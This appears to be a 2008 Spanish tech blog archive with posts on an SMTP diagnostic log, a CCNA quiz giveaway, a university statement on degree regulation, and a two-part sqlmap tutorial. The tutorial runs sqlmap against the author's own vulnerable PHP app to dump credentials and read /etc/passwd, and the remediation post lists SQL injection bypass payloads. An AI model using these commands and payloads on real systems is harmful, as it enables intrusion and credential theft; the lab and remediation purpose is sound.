  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.177]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.182]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.184]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.176]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.181]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.187]
  A:     alt1.gmail-smtp-in.l.google.com [209.85.217.186]
  A:     alt2.gmail-smtp-in.l.google.com [209.85.199.27]
  A:     alt2.gmail-smtp-in.l.google.com [209.85.199.114]
 
Comprobando los servidores MX indicados para yyy@gmail.com.
Conectando con gmail-smtp-in.l.google.com [216.239.59.27] a trav‚s del puerto
25.
Recibido:
220 mx.google.com ESMTP g9si11627881gvc.0
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]
250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK g9si11627881gvc.0
 
Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK g9si11627881gvc.0
 
Enviado:
quit
 
Recibido:
221 2.0.0 closing connection g9si11627881gvc.0
 
La conexi¢n con gmail-smtp-in.l.google.com se realiz¢ correctamente.
Conectando con alt2.gmail-smtp-in.l.google.com [209.85.199.114] a trav‚s del
puerto 25.
Recibido:
220 mx.google.com ESMTP g14si1298585rvb.0
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]
250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK g14si1298585rvb.0
 
Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK g14si1298585rvb.0
 
Enviado:
quit
 
Recibido:
221 2.0.0 closing connection g14si1298585rvb.0
 
La conexi¢n con alt2.gmail-smtp-in.l.google.com se realiz¢ correctamente.
Conectando con alt1.gmail-smtp-in.l.google.com [209.85.217.186] a trav‚s del
puerto 25.
No se pudo conectar con el servidor. Error: 10061
Error al enviar correo a alt1.gmail-smtp-in.l.google.com.
Conectando con alt1.gmail-smtp-in.l.google.com [209.85.217.187] a trav‚s del
puerto 25.
Recibido:
220 mx.google.com ESMTP 12si7528840gxk.11
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]
250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK 12si7528840gxk.11
 
Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK 12si7528840gxk.11
 
Enviado:
quit
 
Recibido:

21 2.0.0 closing connection 12si7528840gxk.11
 
La conexi¢n con alt1.gmail-smtp-in.l.google.com se realiz¢ correctamente.
Conectando con alt1.gmail-smtp-in.l.google.com [209.85.217.181] a trav‚s del
puerto 25.
Recibido:
220 mx.google.com ESMTP 6si15090215gxk.39
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]

250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK 6si15090215gxk.39
 
Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK 6si15090215gxk.39
 
Enviado:
quit
 
Recibido:
221 2.0.0 closing connection 6si15090215gxk.39
 
La conexi¢n con alt1.gmail-smtp-in.l.google.com se realiz¢ correctamente.
Conectando con alt1.gmail-smtp-in.l.google.com [209.85.217.176] a trav‚s del
puerto 25.
Recibido:
220 mx.google.com ESMTP 1si14065599gxk.16
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]
250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK 1si14065599gxk.16
 
Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK 1si14065599gxk.16
 
Enviado:
quit
 
Recibido:
221 2.0.0 closing connection 1si14065599gxk.16
 
La conexi¢n con alt1.gmail-smtp-in.l.google.com se realiz¢ correctamente.
Conectando con alt1.gmail-smtp-in.l.google.com [209.85.217.184] a trav‚s del
puerto 25.
Recibido:
220 mx.google.com ESMTP 9si6416275gxk.8
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]
250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK 9si6416275gxk.8
 
Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK 9si6416275gxk.8
 
Enviado:
quit
 
Recibido:
221 2.0.0 closing connection 9si6416275gxk.8
 
La conexi¢n con alt1.gmail-smtp-in.l.google.com se realiz¢ correctamente.
Conectando con alt1.gmail-smtp-in.l.google.com [209.85.217.182] a trav‚s del
puerto 25.
Recibido:
220 mx.google.com ESMTP 7si15437425gxk.42
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]
250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK 7si15437425gxk.42

Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK 7si15437425gxk.42
 
Enviado:
quit
 
Recibido:
221 2.0.0 closing connection 7si15437425gxk.42
 
La conexi¢n con alt1.gmail-smtp-in.l.google.com se realiz¢ correctamente.
Conectando con alt1.gmail-smtp-in.l.google.com [209.85.217.177] a trav‚s del
puerto 25.
Recibido:
220 mx.google.com ESMTP 2si23572792gxk.61
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]
250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK 2si23572792gxk.61
 
Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK 2si23572792gxk.61
 
Enviado:
quit
 
Recibido:
221 2.0.0 closing connection 2si23572792gxk.61
 
La conexi¢n con alt1.gmail-smtp-in.l.google.com se realiz¢ correctamente.
Conectando con alt1.gmail-smtp-in.l.google.com [209.85.217.180] a trav‚s del
puerto 25.
Recibido:
220 mx.google.com ESMTP 5si19541045gxk.53
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]
250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK 5si19541045gxk.53
 
Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK 5si19541045gxk.53
 
Enviado:
quit
 
Recibido:
221 2.0.0 closing connection 5si19541045gxk.53
 
La conexi¢n con alt1.gmail-smtp-in.l.google.com se realiz¢ correctamente.
Conectando con alt1.gmail-smtp-in.l.google.com [209.85.217.183] a trav‚s del
puerto 25.
Recibido:
220 mx.google.com ESMTP 8si25364766gxk.79
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]
250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK 8si25364766gxk.79
 
Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK 8si25364766gxk.79
 
Enviado:
quit
 
Recibido:
221 2.0.0 closing connection 8si25364766gxk.79
 
La conexi¢n con alt1.gmail-smtp-in.l.google.com se realiz¢ correctamente.
Conectando con alt1.gmail-smtp-in.l.google.com [209.85.217.185] a trav‚s del
puerto 25.
Recibido:
220 mx.google.com ESMTP 10si15617173gxk.45
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]
250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK 10si15617173gxk.45
 
Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK 10si15617173gxk.45
 
Enviado:
quit
 
Recibido:
221 2.0.0 closing connection 10si15617173gxk.45
 
La conexi¢n con alt1.gmail-smtp-in.l.google.com se realiz¢ correctamente.
Conectando con alt1.gmail-smtp-in.l.google.com [209.85.217.179] a trav‚s del
puerto 25.
Recibido:
220 mx.google.com ESMTP 4si9605gxk.48
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]
250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK 4si9605gxk.48
 
Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK 4si9605gxk.48
 
Enviado:
quit
 
Recibido:
221 2.0.0 closing connection 4si9605gxk.48
 
La conexi¢n con alt1.gmail-smtp-in.l.google.com se realiz¢ correctamente.
Conectando con alt2.gmail-smtp-in.l.google.com [209.85.199.27] a trav‚s del
puerto 25.
Recibido:
220 mx.google.com ESMTP g31si29191769rvb.7
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]
250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK g31si29191769rvb.7
 
Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK g31si29191769rvb.7
 
Enviado:
quit
 
Recibido:
221 2.0.0 closing connection g31si29191769rvb.7
 
La conexi¢n con alt2.gmail-smtp-in.l.google.com se realiz¢ correctamente.
Conectando con alt1.gmail-smtp-in.l.google.com [209.85.217.178] a trav‚s del
puerto 25.
Recibido:
220 mx.google.com ESMTP 3si15164094gxk.38
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]
250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK 3si15164094gxk.38
 
Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK 3si15164094gxk.38
 
Enviado:
quit
 
Recibido:
221 2.0.0 closing connection 3si15164094gxk.38
 
La conexi¢n con alt1.gmail-smtp-in.l.google.com se realiz¢ correctamente.
Conectando con gsmtp183.google.com [64.233.183.27] a trav‚s del puerto 25.
Recibido:
220 mx.google.com ESMTP h7si12171427nfh.4
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]
250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK h7si12171427nfh.4
 
Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK h7si12171427nfh.4
 
Enviado:
quit
 
Recibido:
221 2.0.0 closing connection h7si12171427nfh.4
 
La conexi¢n con gsmtp183.google.com se realiz¢ correctamente.
Conectando con gsmtp147.google.com [209.85.147.27] a trav‚s del puerto 25.
Recibido:
220 mx.google.com ESMTP n6si45295634wag.2
 
Enviado:
ehlo hotmail.com
 
Recibido:
250-mx.google.com at your service, [213.97.224.9]
250-SIZE 35651584
250-8BITMIME
250 ENHANCEDSTATUSCODES
 
Enviado:
mail from: <xxx@hotmail.com>
 
Recibido:
250 2.1.0 OK n6si45295634wag.2
 
Enviado:
rcpt to: <yyy@gmail.com>
 
Recibido:
250 2.1.5 OK n6si45295634wag.2
 
Enviado:
quit
 
Recibido:
221 2.0.0 closing connection n6si45295634wag.2
 
La conexi¢n con gsmtp147.google.com se realizo correctamente.

Como veis el proceso de verificado puede ser largo dependiendo del numero de servidores que se utilicen para el balanceo o para redundar.
La única pega que veo a esta utilidad es que no envía ningún correo electrónico. Se conecta con el servidor y se desconecta, pero en ningún momento envía un mail. Creo que estaría bastante bien que lo enviara… la primera vez que probé la utilidad creía que no funcionaba porque no me llegaba ningún mensaje de prueba.

Más información:
+ MX and SMTP diagtool
+ SMTP Diagnostics tools (shareware)

"mis libros de networking" en sorteo

8 de noviembre de 2008

El blog de mis libros de networking sortea a fin de mes un pack de tres libros a las personas que respondan correctamente 5 preguntas de networking de nivel CCNA.

Este es el pack:

+ Un ejemplar de Introducción a la Conmutación Ethernet y el Enrutamiento IP.
+ Un ejemplar de Principios Básicos de Networking versión 3.1.
+ Un ejemplar de Apunte Rápido CCNA versión 4.0.

Y estas son las 5 preguntas:

------------------------
1. Como Administrador de la red usted debe seleccionar los dispositivos apropiados para su implementación. ¿Cuál de las siguientes opciones describe correctamente el rol de los dispositivos en una red WAN? (seleccione 3).

+ Un CSU/DSU termina una última milla digital.
+ Un router es comunmente considerado un dispositivo DCE.
+ Un módem termina una última milla analógica.
+ Un router es comunmente considerado un dispositivo DTE.
+ Un módem termina una última milla digital.
+ Un CSU/DSU termina una última milla analógica.
+ Un módem termina un enlace T1.

2. Los switches de core de la red utilizan troncales 802.1Q para conectarse entre sí. ¿De qué manera los troncales 802.1Q identifican el tráfico de múltiples VLANs?

+ Marcan la trama de datos con la información de VLAN y recalculan el valor de CRC.
+ Encapsulan la trama de datos con un nuevo encabezado y un nuevo campo FCS.
+ Modifican el port index de la trama de datos para identificar las VLANs.
+ Agregan un nuevo encabezado que incorpora el VLAN ID a la trama de datos.
+ Ninguna de las anteriores.

3. El switch ha sido configurado con DTP utilizando la opción "desirable". ¿Cuál de las siguientes afirmaciones describe el modo "desirable" de Dynamic Trunking Protocol?

+ La interfaz se coloca permanentemente en modo troncal pero no generará tramas DTP.
+ La interfaz activamente intenta convertir el enlace en un enlace troncal.
+ La interfaz se coloca permanentemente en modo troncal y negocia para convertir el enlace en un enlace troncal.
+ La interfaz pasará a modo pasivo y quedará en espera para convertir el enlace en un enlace troncal.
+ Ninguna de las anteriores.

4. ¿Cuál de las siguientes afirmaciones es verdadera respecto de los valores por defecto de un switch Catalyst que es configurado para VTP pruning? (Elija 2)

+ Las VLANs 1-1000 son elegibles para pruning.
+ Las VLANs 2-1000 son elegibles para pruning.
+ Las VLANs 1-1023 son elegibles para pruning.
+ Las VLANs 2-1023 son elegibles para pruning.
+ Las VLNAs 1-4095 son elegibles para pruning.
+ La VLAN 1 es elegible para pruning.
+ La VLAN 1 no es elegible para pruning.

5. ¿Qué tipo de entrada en una tabla EIGRP es una ruta sucesora?

+ Una ruta de respaldo, almacenada en la tabla de enrutamiento.
+ Una ruta primaria, almacenada en la tabla de enrutamiento.
+ Una ruta de respaldo, almacenada en la tabla topológica.
+ Una ruta primaria, almacenada en la tabla topológica.
------------------------

Yo ya he enviado mis respuesta. En el post original tenéis las reglas del sorteo y la dirección donde tenéis que enviar las respuestas antes del 28 noviembre del 2008.

Más información:
+ ¿Dónde bajar el CCNA 4 Discovery?
+ Para los laboratorios de CCNA necesitas el Cisco Packet Tracer

postura oficial de la uab

7 de noviembre de 2008

Este es el mail que ha enviado la UAB Informática a sus estudiantes. Yo soy de la UPC. La UPC no ha dicho aun nada, ni mail, ni mensaje en la web, nada de nada. Donde esta el apoyo a los estudiantes y ex-estudiantes de la Falcultad de Informática (FIB). ¿Tantos años estudiando y pagando para nada?.

--------------------------------------
From: Direcció ETS d'Enginyeria d.etse@uab.cat
Date: 2008/11/6
Subject: Informació d'interès per als alumnes d'Eng. Informàtica
To: xxx@neptu.uab.es

Benvolguts estudiants,

"Arran de les noticies que han anat apareixen al voltant del debat de la proposició no de llei del Congreso de los Diputados (28-10-2008) sobre la regulació de la professió d'Enginyer en Informàtica, que va desembocar en una votació en la que es va rebutjar la proposta per 17 vots favorables, 19 desfavorables i 2 abstencions; volem informar de la situació actual de les titulacions.

Els actuals títols d'Enginyer en Informàtica, Enginyer Tècnic en Informàtica de Gestió i Enginyer Tècnic en Informàtica de Sistemes, així com tots aquells que en el futur puguin aparèixer amb caràcter de títol universitari oficial de grau en Enginyeria Informàtica, tindran plena validesa en l'àmbit català, espanyol i europeu sense cap mena de restricció.

Tot i l'obstacle que ha suposat la votació del projecte no de llei esmentat, la Conferència de Degans i Directors dels centres universitaris que imparteixen les titulacions oficials d'informàtica segueixen treballant intensament per aconseguir el reconeixement, la regulació i les atribucions pròpies de la professió d'enginyer en informàtica.

La Direcció de l'Escola"
-------------------------

--------------------------
From: Direcció ETS d'Enginyeria d.etse@uab.cat
Date: 2008/11/6
Subject: Información de interes para los estudiantes de Ingenieria
To: xxx@neptu.uab.es

Queridos estudiantes,

A raíz de las noticías que han ido apereciendo alrededor del debate de la proposición no de ley del Congreso de los Diputados (28-10-2008) sobre la regulación de la profesión de Ingenieros en Informática, que desembocó en una votación en la que se rechazó la propuesta por 17 votos favorables, 19 desfavorables y 2 abstenciones; queremos informar de la situación actual de las titulaciones.

Los actuales títulos de Ingeniero en Informática, Ingeniero Técnico en Informática de Gestión e Ingeniero Técnico en Informática de Sistemas, así como todos aquellos que en el futuro puedan aparecer con carácter de título universitario oficial de grado en Ingeniería Informática, tendrán total validez en el ámbito catalán, español y europeo sin ningún tipo de restricción.

Todo y el obstáculo que ha supuesto la votación del proyecto no de ley mencionado, la Conferencia de Decanos y Directores de los centros universitarios que imparten las titulaciones oficiales de informática siguen trabajando intensamente por conseguir el reconocimiento, la regulación y las atribuciones propias de la profesión de Ingeniero en Informática.

La Dirección de la Escuela
--------------------------

¡¡¡ hijos de puta !!!

6 de noviembre de 2008

Todos a la huelga. Dia 19 de noviembre.

95.000 estudiantes.
81 centros de estudio, colegios o universidades.
200.000 informaticos titulados.
---------------------
1,6% del PIB, ¿todo a la mierda?











Noticia del elmundo.com

rulando sqlmap (remediando los problemas)

Continuación de "rulando sqlmap".

El problemón de poder acceder al directorio de passwords del servidor Linux o poder ver todos los usuarios mysql dados de alta es más jodido porque la inyección se ejecuta con permisos root que por la propia inyección.

Primero hay que dar los permisos adecuados a tu aplicación web para que ataque contra su propia base de datos y no tenga acceso al restos de bases de datos (como por ejemplo information_schema, MySQL u otras).

Por tanto, lo que haremos es crear un usuario especifico para la aplicación PHP y que sólo puede hacer consultas desde la propia localhost. Creamos un usuario “userdb_midb" con contraseña "123psw_midb_456":

mysql> GRANT select ON midb.* TO 'userdb_midb'@'localhost' identified 
by '123psw_midb_456';
mysql> FLUSH PRIVILEGES;

Otra recomendación importante es cambiar la contraseña que tiene el usuario root por defecto. No confundir el usuario root del mysql con el usuario root de Linux. Son usuarios, pero en contextos diferentes.
# mysqladmin -u root password "un_buen_password_para_root"

Ahora ya estamas listo para comenzar a programar tú aplicación web. Notar que los privilegios que hemos metido en la base de datos "midb" es solo para hacer consultas con SELECT. Si la aplicación PHP necesitara operaciones de DML (no operaciones DDL), lógicamente tendríamos que cambiar los permisos de tú mysql, pero siempre dando los mínimos que necesitemos:
mysql> GRANT select, insert, delete, update ON midb.* TO 'userdb_midb'@'localhost' 
identified by '123psw_midb_456';
mysql> FLUSH PRIVILEGES;

Comenzamos ahora a evitar las injecciones SQL. Hay mucha información por Internet sobre que son y como evitarlas así que no me extenderé. Si hablamos de aplicaciones web (PHP, ASP, python...), básicamente se trata de validaciones incorrectas de las variables que llegan al servidor ya sea por el método POST, GET, cookies, etc.

Lo que hay que tener claro es que no solo hay inyecciones de SQL, los hay de muchas cosas. Tenemos las inyecciones de xpath, las inyecciones de ldap, las inyecciones nulas... sea lo que sea, son provocadas por la mala validación de los datos de entrada. Como solo somos programadores web y no somos hackers pues tenemos que saber que existen y programar un poquito más para filtrar los datos que nos llegan.

La primera medida anti-sql-injection es modificar el php.ini con:
magic_quotes_gpc=On

Esta opción lo que hace escapar automáticamente todos los caracteres peligros. Estos caracteres que se consideran peligrosos con la comilla simple, la doble, la barra invertida y el NULL. Es importante saber que esta propiedad desaparece en PHP v6. En su lugar hay que escarpar los datos en tiempo de ejecución con la función addslashes().
Las magic_quotes son una primera medida de seguridad con PHP pero son evitables a cuanto inyección de SQL se refiere en algunos casos muy concretos según la base de datos que tengamos funcionando.

Por ejemplo un caso real (level 7 de Blindsec). Tenemos esta validación de usuario bajo un SQLlite:
$sql= 'SELECT * FROM users WHERE login="$login" and password="$psw" ';

Si ponemos como $login=admin e inyectamos el $psw=" or ROWID=1 --, tendremos el siguiente resultado:
SELECT * FROM users WHERE login="admin" and password="\" or ROWID=1 --"

De forma que siempre nos devolverá la fila=1. Este es un caso muy concreto y posible gracias a SQLlite.

Otras maneras que tenemos es convertir la clásica inyección ' or ''=' en:
%2527 or %2527%2527=%2527

También funciona:
%2527%20or%20%2527%2527=%2527

Si por defecto no tenemos las magic quotes activadas lo mejor es utilizar addslashes(). Según PHP v6 es lo que tendremos que utilizar y además mejora el rendimiento en vez de aplicar magic quotes en todos los valores. El problema es ir con cuidado de que no se nos escape ninguna variable sin aplicar addslashes(). Lo contrario de un addslashes() es un stripslashes().

También existe otra función para escapar los datos antes de construir la consulta SQL. Esta es mysql_real_escape_string() y es la que recomienda PHP.
mysql_real_escape_string($login);
mysql_real_escape_string($password);

He visto también que hay gente que escapea doblemente:
addcslashes(mysql_real_escape_string($login),'%_'));

Personalmente creo que lo mejor es crearte tú propia función para escapar o satanizar tus entradas:
   function sanitize($x, $quotes = true) {
      if (is_array($x))   
         foreach ($x as &$y)
            $y = sanitize($y);

      else if (is_string($x)) {
          $x = mysql_real_escape_string($x);
          if ($quotes)
             $x = "'". $x ."'";

        else if (is_null($x))
           $x = "NULL";

        else if (is_bool($x)) 
           $x = ($x) ? 1 : 0;

        return $x;
    }

Más cosas que he visto. Para los paranoicos totales, se podría modificar esta función para eliminar palabras prohibidas como "select", "insert", "password", etc. Aunque esto es fácilmente petable. Basta con poner "seLect", "inSert", o "pAssword". Otras modificaciones que podemos hacer es limitar la longitud de los datos que nos llegan. No a nivel de HTML o JavaScript, sino en el propio codigo de PHP. De esta forma si nuestro password es de longitud máxima de 10 caracteres será casi imposible inyectar con éxito un código de SQL.

Como he dicho antes, la inyección de SQL es muy amplia y no solo se aplica en las aplicaciones web en .php, .asp, .aspx, .py, sino también en cualquier servicio Web como puede ser SOAP.
Por ejemplo, imaginaros que tengo una aplicación que lee datos referentes al clima a través de llamadas SOAP a http://www.weather.gov/xml/. Teóricamente podemos pensar que www.weather.gov es una web confiable y que no nos inyectará código, ¿no?. Pero que pasaría si en vez de devolvernos la temperatura que hace en Barcelona capital, nos devuelve una inyección…. Malo malo.

Mas información:
+ SQL Injection cheat sheet
+ Securizar tú mysql para tus webs
+ PHP Filters

rulando sqlmap

3 de noviembre de 2008

Sqlmap es una tool de sourceforge creada para automatizar la inyección de SQL. Con esta tool podemos sacar usuarios, contraseñas, consultar en tablas, hacer modificaciones en tablas, leer archivos del sistema de archivos, etc.

Naturalmente todo lo que se pueda hacer dependerá del nivel de seguridad y las precauciones que el programador y administrador hayan tenido.

Como el objetivo no es buscar en Internet una Web vulnerable he creado una aplicación PHP que accede a una tabla de productos.
Esta Web no contiene ningún mecanismo de seguridad especial. Veremos como con sqlmap la aplicación está abierta de piernas y que podemos hacer para remediarlo.

Estos son los fuentes y las tablas (cópiatelos e instálatelos en tú Apache):

sqlinjection.zip

Otra cosa que necesitaras es sqlmap. Bájatelo e instálatelo. Existe una versión también para Windows que no necesita el intérprete de Python.

Una vez instalado los PHP y la base de datos, tendremos que suponer que hemos encontrado una URL que aparentemente es vulnerable:
http://[mi_servidor]/detail.php?id=8492019

Aparentemente no: !es vulnerable¡ porque la he programado yo. Si estás ansioso por encontrar webs, toma y busca.

Empezamos atacando la Web con sqlmap. Lo primero que haremos es ver que versión tiene de MySQL con el parámetro "-b":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" -b

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 21:58:00

[21:58:01] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

banner:    '5.0.51b-community'


[*] shutting down at: 21:58:07

Vemos que tiene MySql 5.0.51. Ahora queremos saber el nombre de la base de datos con la que está trabajando esta aplicación. Utilizamos el parámetro "--current-db":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --current-db

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:09:07

[22:09:08] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

current database:    'midb'


[*] shutting down at: 22:09:09

La base de datos se llama midb. Veamos ahora las tablas de esta base de datos. Utilizamos los parámetros "--tables -D midb".
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --tables -D midb

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:11:01

[22:11:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

Database: midb
[2 tables]
+----------+
| products |
| users    |
+----------+


[*] shutting down at: 22:11:05

Bingo!. Vemos que tiene una tabla llamada "users", donde posiblemente están lo usuarios que se logean desde la pagina principal llamada "login.php".

Veamos la estructura de esta tabla. Utilizamos los parámetros "--columns -T users -D midb":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --columns -T users -D midb

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:13:34

[22:13:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

Database: midb
Table: users
[3 columns]
+----------+------------------+
| Column   | Type             |
+----------+------------------+
| id       | int(10) unsigned |
| password | varchar(45)      |
| username | varchar(45)      |
+----------+------------------+


[*] shutting down at: 22:13:43

Veamos el contenido de esta tabla. Utilizamos los parámetros "--dump -T users -D midb":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --dump -T users -D midb

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:16:17

[22:16:19] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

Database: midb
Table: users
[3 entries]
+----+---------------+----------+
| id | password      | username |
+----+---------------+----------+
| 1  | admin123456   | admin    |
| 2  | alberto123456 | alberto  |
| 3  | juan123456    | juan     |
+----+---------------+----------+


[*] shutting down at: 22:16:27

Ahora la pregunta es saber si tenemos acceso a otras bases de datos. La respuesta es depende. Depende del nivel de seguridad que tenga la aplicación. Naturalmente esta aplicación es mía y no tiene ningún nivel de seguridad.

Veamos que otras bases de datos hay. Utilizamos "--dbs":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --dbs

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:31:25

[22:31:26] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

available databases [6]:
[*] information_schema
[*] midb
[*] mysql
[*] phpmyadmin
[*] test
[*] webauth


[*] shutting down at: 22:31:32

Veamos ahora que usuarios hay en MySQL. Utilizamos "--users":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --users

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:32:43

[22:32:45] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

database management system users [3]:
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'


[*] shutting down at: 22:32:51

Solo existe un usuario root. Aqui está uno de los problemas. Estamos utilizando el usuario root que trae por defecto MySQL para acceder por PHP. Si estamos utilizando el usuario root para nuestras sentencias de SQL eso quiere decir que podemos hacer llamadas al sistema:
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --read-file /etc/passwd

 sqlmap/0.6.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
                     and Daniele Bellucci <daniele.bellucci@gmail.com>

[*] starting at: 22:59:10

[22:59:11] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS:  MySQL >= 5.0.0

/etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/false
backup:x:34:34:backup:/var/backups:/bin/sh
